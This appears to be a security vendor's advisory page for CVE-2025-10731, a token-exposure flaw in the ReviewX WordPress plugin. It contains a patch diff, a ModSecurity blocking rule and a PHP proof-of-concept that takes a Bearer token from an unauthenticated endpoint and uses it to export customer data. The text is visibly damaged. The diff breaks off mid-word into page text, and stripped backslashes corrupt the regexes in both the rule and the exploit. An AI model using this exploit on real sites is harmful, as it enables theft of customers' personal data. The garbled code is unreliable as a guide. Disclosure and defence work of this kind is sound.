@@ -36,6 +37,7 @@
     {
         header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
         header("Pragma: no-cache");
+        header("Pragma: no-cache");
         $response = $this->dataSyncService->syncStatus();
         if (!empty($response->getApiData()['sync_stats']) && $response->getApiData()['sync_stats'] === 1) {
             // Update all DB settings from API to WP DB
@@ -74,7 +76,7 @@
             return Helper::rvxApi(['error' => $e->getMessage()])->fails('General settings saved failed', $e->getCode());
         }
     }
-    public function syncedData(WP_REST_Request $request)
+    public function syncedData(WP_REST_Request $request)
     {
         $post_type = $request->get_param('post_type') ?? 'product';
         // Sanitize just in case:
--- a/reviewx/app/Rest/Controllers/PingController.php
+++ b/reviewx/app/Rest/Controllers/PingController.php
@@ -3,6 +3,7 @@
 namespace RvxRestControllers;

 use Exception;
+use WP_REST_Response;
 use RvxServicesPingService;
 use RvxUtilitiesHelper;
 class PingController
@@ -13,14 +14,14 @@
         $this->pingService = new PingService();
     }
     /**
-     * Ping from sass and (cached for 7 days) return site info.
+     * Ping from sass and (cached for 2 hours) return site info.
      *
-     * @return WP_REST_Response
+     * @return WP_REST_Response
      */
-    public function ping() : WP_REST_Response
+    public function ping() : WP_REST_Response
     {
-        // Cache time-to-live: 7 days
-        $cache_duration = 86400 * 7;
+        // Cache time-to-live: 2 hours
+        $cache_duration = 3600 * 2;
         try {
             // Try to get cache
             $data = get_transient('rvx_ping_cache');
--- a/reviewx/app/Rest/Controllers/ReviewController.php
+++ b/reviewx/app/Rest/Controllers/ReviewController.php
@@ -29,7 +29,7 @@
      */
     public function index($request)
     {
-        $aggregation = get_transient('reviewx_aggregation');
+        $aggregation = get_transient('rvx_admin_aggregation');
         if (empty($request->get_params()) && $aggregation) {
             $response = ['aggregations' => $aggregation['aggregations'], 'count' => $aggregation['count'], 'reviews' => $aggregation['reviews'], 'meta' => $aggregation['meta']];
             return Helper::rest($response)->success("Success");
@@ -43,8 +43,8 @@
     }
     public function aggregationDataStore($data)
     {
-        delete_transient('reviewx_aggregation');
-        set_transient('reviewx_aggregation', $data, 86400);
+        delete_transient('rvx_admin_aggregation');
+        set_transient('rvx_admin_aggregation', $data, 3600);
     }
     public function adminAllReviewSaasCall($data)
     {
@@ -61,7 +61,7 @@
             $differentReview = $this->cacheServices->makeSaaSCallDecision();
             $this->visibilityPaginationSaasCall($request, $differentReview);
             $isVisible = $request->get_params()['isVisible'] ?? '';
-            $transientKeys = ['published' => 'review_approve_data', 'pending' => 'review_pending_data', 'spam' => 'review_spam_data', 'trash' => 'review_trash_data'];
+            $transientKeys = ['published' => 'rvx_review_approve_data', 'pending' => 'rvx_review_pending_data', 'spam' => 'rvx_review_spam_data', 'trash' => 'rvx_review_trash_data'];
             if (array_key_exists($isVisible, $transientKeys)) {
                 $approve = get_transient($transientKeys[$isVisible]);
                 $params = $request->get_params();
@@ -77,7 +77,7 @@
                 }
             }
             if (empty($request->get_params())) {
-                $data = get_transient('reviews_data_list');
+                $data = get_transient('rvx_reviews_data_list');
                 if ($data) {
                     $response = ['count' => $data['count'], 'reviews' => $data['reviews'], 'meta' => $data['meta']];
                     return Helper::rest($response)->success("Success");
@@ -104,26 +104,26 @@
     }
     public function reviewListStoreInDB($reviewData)
     {
-        delete_transient('reviews_data_list');
-        set_transient('reviews_data_list', $reviewData, 86400);
+        delete_transient('rvx_reviews_data_list');
+        set_transient('rvx_reviews_data_list', $reviewData, 3600);
     }
     public function storeVisibilityReview($data, $visibility)
     {
         if ($visibility === 'published') {
-            delete_transient('review_approve_data');
-            set_transient('review_approve_data', $data, 86400);
+            delete_transient('rvx_review_approve_data');
+            set_transient('rvx_review_approve_data', $data, 3600);
         }
         if ($visibility === 'pending') {
-            delete_transient('review_pending_data');
-            set_transient('review_pending_data', $data, 86400);
+            delete_transient('rvx_review_pending_data');
+            set_transient('rvx_review_pending_data', $data, 3600);
         }
         if ($visibility === 'spam') {
-            delete_transient('review_spam_data');
-            set_transient('review_spam_data', $data, 86400);
+            delete_transient('rvx_review_spam_data');
+            set_transient('rvx_review_spam_data', $data, 3600);
         }
         if ($visibility === 'trash') {
-            delete_transient('review_trash_data');
-            set_transient('review_trash_data', $data, 86400);
+            delete_transient('rvx_review_trash_data');
+            set_transient('rvx_review_trash_data', $data, 3600);
         }
     }
     /**
--- a/reviewx/app/Rest/Controllers/SettingController.php
+++ b/reviewx/app/Rest/Controllers/SettingController.php
@@ -148,13 +148,22 @@
             return Helper::rvxApi(['error' => $e->getMessage()])->fails('General settings saved failed', $e->getCode());
         }
     }
-    public function removeCredentials()
+    public function removeCredentials($request)
     {
         try {
-            $response = $this->settingService->removeCredentials();
+            $response = $this->settingService->removeCredentials($request->get_headers());
             return $response;
         } catch (Throwable $e) {
-            return Helper::rvxApi(['error' => $e->getMessage()])->fails('General settings saved failed', $e->getCode());
+            return Helper::rvxApi(['error' => $e->getMessage()])->fails('Sites Table Data deletion failed', $e->getCode());
+        }
+    }
+    public function updateSiteData($request)
+    {
+        try {
+            $response = $this->settingService->updateSiteData($request->get_headers());
+            return $response;
+        } catch (Throwable $e) {
+            return Helper::rvxApi(['error' => $e->getMessage()])->fails('Sites Table Data update failed', $e->getCode());
         }
     }
 }
--- a/reviewx/app/Rest/Controllers/StoreFrontReviewController.php
+++ b/reviewx/app/Rest/Controllers/StoreFrontReviewController.php
@@ -358,9 +358,9 @@
         try {
             $defferentIds = $this->cacheService->clearShortcodesCache(get_option('_rvx_reviews_ids'), $request->get_params());
             if ($defferentIds == false) {
-                delete_transient('_rvx_shortcode_transient');
+                delete_transient('rvx_shortcode_transient');
             }
-            $transient_key = '_rvx_shortcode_transient';
+            $transient_key = 'rvx_shortcode_transient';
             $resp = get_transient($transient_key);
             if ($resp !== false) {
                 $data = ['reviews' => $resp['reviews'], 'meta' => $resp['meta']];
--- a/reviewx/app/Rest/Middleware/AuthMiddleware.php
+++ b/reviewx/app/Rest/Middleware/AuthMiddleware.php
@@ -2,8 +2,12 @@

 namespace RvxRestMiddleware;

+use Exception;
 use WP_REST_Request;
 use RvxUtilitiesAuthWpUser;
+use RvxUtilitiesAuthClient;
+use RvxFirebaseJWTJWT;
+use RvxFirebaseJWTKey;
 class AuthMiddleware
 {
     /**
@@ -11,15 +15,43 @@
      *
      * Authorization is granted if:
      * User is logged in AND has sufficient capabilities.
+     * Or if user has a valid JWT Bearer token
      *
      * @param WP_REST_Request $request
      * @return bool
      */
     public function handle(WP_REST_Request $request) : bool
     {
-        if (!WpUser::isLoggedIn()) {
+        // Validate by WP User
+        if (WpUser::isLoggedIn() && WpUser::can()) {
+            // error_log('AuthMiddleware: Loggedin PASS');
+            return true;
+        }
+        // error_log('AuthMiddleware: User is not logged in or does not have sufficient capabilities.');
+        // Validate by Bearer Token
+        $clientUid = Client::getUid();
+        $secret = Client::getSecret();
+        if (empty($clientUid) || empty($secret)) {
+            // error_log('AuthMiddleware: Missing client UID or secret.');
+            return false;
+        }
+        $headers = $request->get_headers();
+        $authHeader = isset($headers['authorization'][0]) ? trim($headers['authorization'][0]) : '';
+        if (!$authHeader || !preg_match('/Bearer\s+(.*)$/i', $authHeader, $matches)) {
+            // error_log('AuthMiddleware: Missing or invalid Bearer header');
+            return false;
+        }
+        $token = $matches[1];
+        try {
+            $decoded = JWT::decode($token, new Key($secret, 'HS256'));
+            // Check UID binding
+            if (empty($decoded->uid) || $decoded->uid !== $clientUid) {
+                return false;
+            }
+            return true;
+        } catch (Exception $e) {
+            // error_log('AuthMiddleware: Invalid token - ' . $e->getMessage());
             return false;
         }
-        return WpUser::can();
     }
 }
--- a/reviewx/app/Rest/Middleware/AuthSaasMiddleware.php
+++ b/reviewx/app/Rest/Middleware/AuthSaasMiddleware.php
@@ -2,13 +2,42 @@

 namespace RvxRestMiddleware;

+use Exception;
 use WP_REST_Request;
 use RvxUtilitiesAuthClient;
+use RvxFirebaseJWTJWT;
+use RvxFirebaseJWTKey;
 class AuthSaasMiddleware
 {
+    /**
+     * Handle incoming SaaS-authenticated requests
+     */
     public function handle(WP_REST_Request $request) : bool
     {
-        // ReviewX Used ID check
-        return Client::getUid() ? true : false;
+        $clientUid = Client::getUid();
+        $secret = Client::getSecret();
+        if (empty($clientUid) || empty($secret)) {
+            // error_log('AuthSaasMiddleware: Missing client UID or secret.');
+            return false;
+        }
+        $headers = $request->get_headers();
+        $authHeader = isset($headers['authorization'][0]) ? trim($headers['authorization'][0]) : '';
+        if (!$authHeader || !preg_match('/Bearer\s+(.*)$/i', $authHeader, $matches)) {
+            // error_log('AuthSaasMiddleware: Missing or invalid Bearer header');
+            return false;
+        }
+        $token = $matches[1];
+        try {
+            $decoded = JWT::decode($token, new Key($secret, 'HS256'));
+            // Check UID binding
+            if (empty($decoded->uid) || $decoded->uid !== $clientUid) {
+                return false;
+            }
+            // error_log('AuthSaasMiddleware: Token PASS');
+            return true;
+        } catch (Exception $e) {
+            // error_log('AuthSaasMiddleware: Invalid token - ' . $e->getMessage());
+            return false;
+        }
     }
 }
--- a/reviewx/app/Services/CacheServices.php
+++ b/reviewx/app/Services/CacheServices.php
@@ -19,7 +19,7 @@
     }
     public function saasStatusReviewCount()
     {
-        $data = get_transient('reviews_data_list');
+        $data = get_transient('rvx_reviews_data_list');
         if (is_array($data)) {
             return $data['count'];
         }
@@ -41,14 +41,14 @@
     }
     public function removeCache()
     {
-        delete_transient('reviews_data_list');
-        delete_transient('review_approve_data');
-        delete_transient('review_pending_data');
-        delete_transient('review_spam_data');
-        delete_transient('review_trash_data');
-        delete_transient('reviewx_aggregation');
-        delete_transient('review_shortcode');
-        delete_transient('_rvx_shortcode_transient');
+        delete_transient('rvx_reviews_data_list');
+        delete_transient('rvx_review_approve_data');
+        delete_transient('rvx_review_pending_data');
+        delete_transient('rvx_review_spam_data');
+        delete_transient('rvx_review_trash_data');
+        delete_transient('rvx_admin_aggregation');
+        delete_transient('rvx_review_shortcode');
+        delete_transient('rvx_shortcode_transient');
         delete_transient('rvx_shortcode_all_reviews');
     }
     public function clearShortcodesCache($arrayFirst, $arraySecond)
--- a/reviewx/app/Services/DashboardServices.php
+++ b/reviewx/app/Services/DashboardServices.php
@@ -13,6 +13,17 @@
     {
         return (new DashboardApi())->requestEmail();
     }
+    public function requestUserData()
+    {
+        global $wpdb;
+        $table_name = $wpdb->prefix . 'rvx_sites';
+        $site_data = $wpdb->get_row("SELECT * FROM {$table_name} WHERE id = 1");
+        // error_log('Site Data: ' . print_r($site_data, true));
+        if (!$site_data) {
+            return ['success' => false, 'message' => 'No site data found', 'data' => null];
+        }
+        return ['success' => true, 'message' => 'Site user data fetched successfully', 'site_id' => $site_data->site_id, 'user_name' => $site_data->name, 'user_email' => $site_data->email, 'site_domain' => $site_data->domain, 'is_saas_synced' => $site_data->is_saas_sync];
+    }
     public function chart($request)
     {
         $time = $request['view'];
--- a/reviewx/app/Services/DataSyncService.php
+++ b/reviewx/app/Services/DataSyncService.php
@@ -12,13 +12,13 @@
 use RvxServicesUserSyncService;
 use RvxServicesProductSyncService;
 use RvxServicesReviewSyncService;
-use RvxServicesCategorySyncService;
+// use RvxServicesCategorySyncService;
 use RvxUtilitiesHelper;
 class DataSyncService extends Service
 {
     protected DataSyncHandler $dataSyncHandler;
     protected UserSyncService $userSyncService;
-    protected CategorySyncService $categorySyncService;
+    // protected CategorySyncService $categorySyncService;
     protected ProductSyncService $productSyncService;
     protected ReviewSyncService $reviewSyncService;
     protected OrderService $orderService;
@@ -27,7 +27,7 @@
     {
         $this->dataSyncHandler = new DataSyncHandler();
         $this->userSyncService = new UserSyncService();
-        $this->categorySyncService = new CategorySyncService();
+        // $this->categorySyncService = new CategorySyncService();
         $this->productSyncService = new ProductSyncService();
         $this->reviewSyncService = new ReviewSyncService();
         $this->orderService = new OrderService();
@@ -56,8 +56,8 @@
                 // Product Sync Data for *Login or Register*
                 $total_objects += $this->userSyncService->syncUser($file);
                 if (class_exists('WooCommerce') || $this->dataSyncHandler->wc_data_exists_in_db()) {
-                    $syncedCaterories = new CategorySyncService();
-                    $total_objects += $syncedCaterories->syncCategory($file);
+                    // $syncedCaterories = new CategorySyncService();
+                    // $total_objects += $syncedCaterories->syncCategory($file);
                     $total_objects += $this->productSyncService->processProductForSync($file, $post_type);
                     $total_objects += $this->reviewSyncService->processReviewForSync($file, $post_type);
                     $total_objects += $this->orderItemSyncService->syncOrder($file);
@@ -107,17 +107,17 @@
         }
         if ("categories" === $data['action']) {
             if (class_exists('WooCommerce') || $this->dataSyncHandler->wc_data_exists_in_db()) {
-                $syncedCaterories = new CategorySyncService();
-                $totalLines += $syncedCaterories->syncCategory($file);
-                $processProduct = new ProductSyncService($syncedCaterories);
-                $totalLines += $processProduct->processProductForSync($file);
+                // $syncedCaterories = new CategorySyncService();
+                // $totalLines += $syncedCaterories->syncCategory($file);
+                $processProduct = new ProductSyncService();
+                $totalLines += $processProduct->processProductForSync($file, 'product');
                 update_option('rvx_sync_number', $totalLines);
             }
         }
         if ("reviews" === $data['action']) {
             if (class_exists('WooCommerce') || $this->dataSyncHandler->wc_data_exists_in_db()) {
                 $totalLines = get_option('rvx_sync_number');
-                $totalLines += (new ReviewSyncService())->processReviewForSync($file);
+                $totalLines += (new ReviewSyncService())->processReviewForSync($file, 'product');
                 update_option('rvx_sync_number', $totalLines);
             }
         }
--- a/reviewx/app/Services/ProductSyncService.php
+++ b/reviewx/app/Services/ProductSyncService.php
@@ -11,6 +11,8 @@
     protected $postMetaPriceRelation;
     protected $productCount = 0;
     protected $postMetaAverageRatingRelation;
+    protected $postMetaRatingCountPercentageRelation;
+    protected $postMetaReviewsCountRelation;
     protected $postMetaSalePriceRelation;
     protected $postMetaThumbnaiRelation;
     protected $postMetaAttachmentsRelation;
@@ -25,29 +27,41 @@
     }
     public function processProductForSync($file, $post_type) : int
     {
-        $this->syncProductsMeta();
+        $this->syncProductsMeta($post_type);
         return $this->syncProducts($file, $post_type);
     }
     public function getProductAttachementRalation()
     {
         return $this->postAttachmentRelation;
     }
-    public function syncProductsMeta()
+    public function syncProductsMeta($post_type)
     {
+        // Base meta keys
+        $dbTableKeys = ['rvx_avg_rating', 'rating', '_thumbnail_id'];
+        // Add product-specific keys
+        if ($post_type === 'product') {
+            $dbTableKeys = array_merge($dbTableKeys, ['_price', '_sale_price', '_wc_review_count', '_wc_average_rating', '_wc_rating_count']);
+        }
+        // Define relation targets by meta key
+        $relationMap = ['_price' => 'postMetaPriceRelation', '_sale_price' => 'postMetaSalePriceRelation', '_wc_review_count' => 'postMetaReviewsCountRelation', '_wc_rating_count' => 'postMetaRatingCountPercentageRelation', '_thumbnail_id' => 'postMetaThumbnaiRelation'];
         try {
-            DB::table('postmeta')->whereIn('meta_key', ['_price', '_sale_price', '_wc_average_rating', '_thumbnail_id'])->chunk(100, function ($allPostMeta) {
-                foreach ($allPostMeta as $postMetas) {
-                    if ($postMetas->meta_key === '_price') {
-                        $this->postMetaPriceRelation[$postMetas->post_id] = $postMetas->meta_value;
-                    }
-                    if ($postMetas->meta_key === '_sale_price') {
-                        $this->postMetaSalePriceRelation[$postMetas->post_id] = $postMetas->meta_value;
-                    }
-                    if ($postMetas->meta_key === '_wc_average_rating') {
-                        $this->postMetaAverageRatingRelation[$postMetas->post_id] = $postMetas->meta_value;
+            DB::table('postmeta')->whereIn('meta_key', $dbTableKeys)->chunk(100, function ($allPostMeta) use($relationMap) {
+                foreach ($allPostMeta as $meta) {
+                    $key = $meta->meta_key;
+                    $pid = $meta->post_id;
+                    $value = $meta->meta_value;
+                    // Direct assignment using map
+                    if (isset($relationMap[$key])) {
+                        $this->{$relationMap[$key]}[$pid] = $value;
+                        continue;
                     }
-                    if ($postMetas->meta_key === '_thumbnail_id') {
-                        $this->postMetaThumbnaiRelation[$postMetas->post_id] = $postMetas->meta_value;
+                    // --- Rating Prioritization Logic ---
+                    // Priority: _wc_average_rating > rvx_avg_rating > rating
+                    if ($key === '_wc_average_rating' || $key === 'rvx_avg_rating' || $key === 'rating') {
+                        // Assign only if not already assigned by a higher-priority field
+                        if (!isset($this->postMetaAverageRatingRelation[$pid])) {
+                            $this->postMetaAverageRatingRelation[$pid] = $value;
+                        }
                     }
                 }
             });
@@ -60,10 +74,13 @@
         $productCount = 0;
         $attachmentRelation = [];
         $this->postMetaAttachmentsRelation = [];
-        DB::table('posts')->select(['ID', 'post_type', 'post_title', 'post_name', 'post_excerpt', 'post_status', 'guid', 'post_modified'])->orderBy('ID')->whereIn('post_type', [$post_type])->chunk(100, function ($products) use(&$attachmentRelation, &$file, &$productCount) {
+        DB::table('posts')->select(['ID', 'post_type', 'post_title', 'post_name', 'post_excerpt', 'post_status', 'guid', 'post_modified', 'comment_count'])->orderBy('ID')->whereIn('post_type', [$post_type])->chunk(100, function ($products) use(&$attachmentRelation, &$file, &$productCount) {
             foreach ($products as $product) {
                 $this->productids[] = $product->ID;
                 $productImage = get_the_post_thumbnail_url($product->ID, 'full') ? get_the_post_thumbnail_url($product->ID, 'full') : null;
+                if ($product->post_type !== 'product') {
+                    $this->postMetaReviewsCountRelation[$product->ID] = $product->comment_count;
+                }
                 $formatedProduct = $this->processProduct($product, $productImage);
                 if ($formatedProduct['post_type'] !== 'attachment') {
                     Helper::appendToJsonl($file, $formatedProduct);
@@ -81,7 +98,53 @@
     }
     public function processProduct($product, $productImage) : array
     {
-        return ['rid' => 'rid://Product/' . (int) $product->ID, "post_type" => $product->post_type ?? null, "wp_id" => (int) ($product->ID ?? 0), "title" => isset($product->post_title) ? htmlspecialchars($product->post_title, ENT_QUOTES, 'UTF-8') : null, "url" => $product->guid ?? '', "description" => $product->post_excerpt ?? null, "price" => isset($this->postMetaPriceRelation[$product->ID]) ? Helper::formatToTwoDecimalPlaces($this->postMetaPriceRelation[$product->ID]) : 0, "discounted_price" => isset($this->postMetaSalePriceRelation[$product->ID]) ? Helper::formatToTwoDecimalPlaces($this->postMetaSalePriceRelation[$product->ID]) : 0, "slug" => $product->post_name ?? '', "status" => $this->productStatus($product->post_status ?? ''), "total_reviews" => 0, "avg_rating" => isset($this->postMetaAverageRatingRelation[$product->ID]) ? Helper::formatToTwoDecimalPlaces($this->postMetaAverageRatingRelation[$product->ID]) : 0, "stars" => ["one" => 0, "two" => 0, "three" => 0, "four" => 0, "five" => 0], "one_stars" => 0, "two_stars" => 0, "three_stars" => 0, "four_stars" => 0, "five_stars" => 0, "modified_date" => Helper::validateReturnDate($product->post_modified) ?? null, "image" => $productImage, "category_ids" => isset($this->postTermRelation[(int) $product->ID]) && is_array($this->postTermRelation[(int) $product->ID]) ? array_map('intval', $this->postTermRelation[(int) $product->ID]) : []];
+        $reviewsCount = isset($this->postMetaReviewsCountRelation[$product->ID]) ? (int) $this->postMetaReviewsCountRelation[$product->ID] : 0;
+        $ratingCount = $this->postMetaRatingCountPercentageRelation[$product->ID] ?? [];
+        // Ensure WooCommerce serialized rating count is converted to array
+        if (is_string($ratingCount)) {
+            $decoded = @unserialize($ratingCount);
+            $ratingCount = is_array($decoded) ? $decoded : [];
+        }
+        $ratingCounts = $this->ratingCountsConverter($ratingCount);
+        return ['rid' => 'rid://Product/' . (int) $product->ID, "post_type" => $product->post_type ?? null, "wp_id" => (int) ($product->ID ?? 0), "title" => isset($product->post_title) ? htmlspecialchars($product->post_title, ENT_QUOTES, 'UTF-8') : null, "url" => $product->guid ?? '', "description" => $product->post_excerpt ?? null, "price" => isset($this->postMetaPriceRelation[$product->ID]) ? Helper::formatToTwoDecimalPlaces($this->postMetaPriceRelation[$product->ID]) : 0, "discounted_price" => isset($this->postMetaSalePriceRelation[$product->ID]) ? Helper::formatToTwoDecimalPlaces($this->postMetaSalePriceRelation[$product->ID]) : 0, "slug" => $product->post_name ?? '', "status" => $this->productStatus($product->post_status ?? ''), "total_reviews" => $reviewsCount, "avg_rating" => isset($this->postMetaAverageRatingRelation[$product->ID]) ? Helper::formatToTwoDecimalPlaces($this->postMetaAverageRatingRelation[$product->ID]) : 0, "stars" => ["one" => $ratingCounts["one"], "two" => $ratingCounts["two"], "three" => $ratingCounts["three"], "four" => $ratingCounts["four"], "five" => $ratingCounts["five"]], "one_stars" => $ratingCounts["one"], "two_stars" => $ratingCounts["two"], "three_stars" => $ratingCounts["three"], "four_stars" => $ratingCounts["four"], "five_stars" => $ratingCounts["five"], "modified_date" => Helper::validateReturnDate($product->post_modified) ?? null, "image" => $productImage, "category_ids" => isset($this->postTermRelation[(int) $product->ID]) && is_array($this->postTermRelation[(int) $product->ID]) ? array_map('intval', $this->postTermRelation[(int) $product->ID]) : []];
+    }
+    private function ratingCountsConverter(array $ratingCount) : array
+    {
+        // Final output initialized to 0
+        $stars = ["one" => 0, "two" => 0, "three" => 0, "four" => 0, "five" => 0];
+        // Empty OR invalid input → return default immediately
+        if (empty($ratingCount)) {
+            return $stars;
+        }
+        foreach ($ratingCount as $rawKey => $value) {
+            // Convert numeric strings
+            $value = is_numeric($value) ? (float) $value : 0;
+            // Convert key to float (handles "3.5", 5, "4", etc.)
+            $key = is_numeric($rawKey) ? (float) $rawKey : null;
+            if ($key === null) {
+                continue;
+            }
+            // Round decimals down (3.5 => 3)
+            $bucket = (int) floor($key);
+            switch ($bucket) {
+                case 1:
+                    $stars["one"] += $value;
+                    break;
+                case 2:
+                    $stars["two"] += $value;
+                    break;
+                case 3:
+                    $stars["three"] += $value;
+                    break;
+                case 4:
+                    $stars["four"] += $value;
+                    break;
+                case 5:
+                    $stars["five"] += $value;
+                    break;
+            }
+        }
+        return $stars;
     }
     publi

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2025-10731
SecRule REQUEST_URI "@rx ^/wp-json/reviewx/v1/allReminderSettings" 
  "id:100010731,phase:2,deny,status:403,chain,msg:'CVE-2025-10731 - Unauthenticated token exposure in ReviewX plugin',severity:'MEDIUM',tag:'CVE-2025-10731',tag:'WordPress',tag:'Plugin',tag:'ReviewX'"
  SecRule &ARGS_GET "@eq 0" "chain"
    SecRule &ARGS_POST "@eq 0" "chain"
      SecRule REQUEST_METHOD "@streq GET" "chain"
        SecRule REQUEST_HEADERS:Authorization "@rx ^Bearers+[A-Za-z0-9+/=]+" "setvar:'tx.cve_2025_10731_block=1'"

SecRule TX:cve_2025_10731_block "@eq 1" 
  "id:100010732,phase:2,deny,status:403,msg:'CVE-2025-10731 - Blocking unauthenticated access to ReviewX token endpoint',severity:'MEDIUM',tag:'CVE-2025-10731'"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-10731 - ReviewX – WooCommerce Product Reviews with Multi-Criteria, Reminder Emails, Google Reviews, Schema & More <= 2.2.12 - Unauthenticated Sensitive Information Exposure to Data Export

<?php

$target_url = "http://example.com"; // Change to target WordPress site URL

// Step 1: Extract authentication token from vulnerable endpoint
$api_endpoint = $target_url . "/wp-json/reviewx/v1/allReminderSettings";

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $api_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true); // We need headers to extract the token
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
$headers = substr($response, 0, $header_size);
$body = substr($response, $header_size);

curl_close($ch);

// Extract X-Auth-Token from response headers
$auth_token = null;
if (preg_match('/X-Auth-Token:s*Bearers+(S+)/i', $headers, $matches)) {
    $auth_token = $matches[1];
    echo "[+] Successfully extracted authentication token: $auth_tokenn";
} else {
    echo "[-] Failed to extract authentication token from responsen";
    echo "Headers received:n$headersn";
    exit(1);
}

// Step 2: Use the token to access sensitive data export functionality
// The specific export endpoint may vary; this demonstrates the token usage pattern
$export_endpoint = $target_url . "/wp-json/reviewx/v1/exportData"; // Example endpoint

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $export_endpoint);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Authorization: Bearer $auth_token",
    "X-Auth-Token: Bearer $auth_token",
    "Accept: application/json"
]);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$export_response = curl_exec($ch);
$export_http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

curl_close($ch);

if ($export_http_code == 200) {
    echo "[+] Successfully accessed export endpoint with stolen tokenn";
    echo "Response (first 500 chars): " . substr($export_response, 0, 500) . "n";
    
    // The response would contain sensitive data like:
    // - Order details
    // - Customer names and emails
    // - Addresses and phone numbers
    // - User information
} else {
    echo "[-] Export endpoint returned HTTP $export_http_coden";
    echo "Response: $export_responsen";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School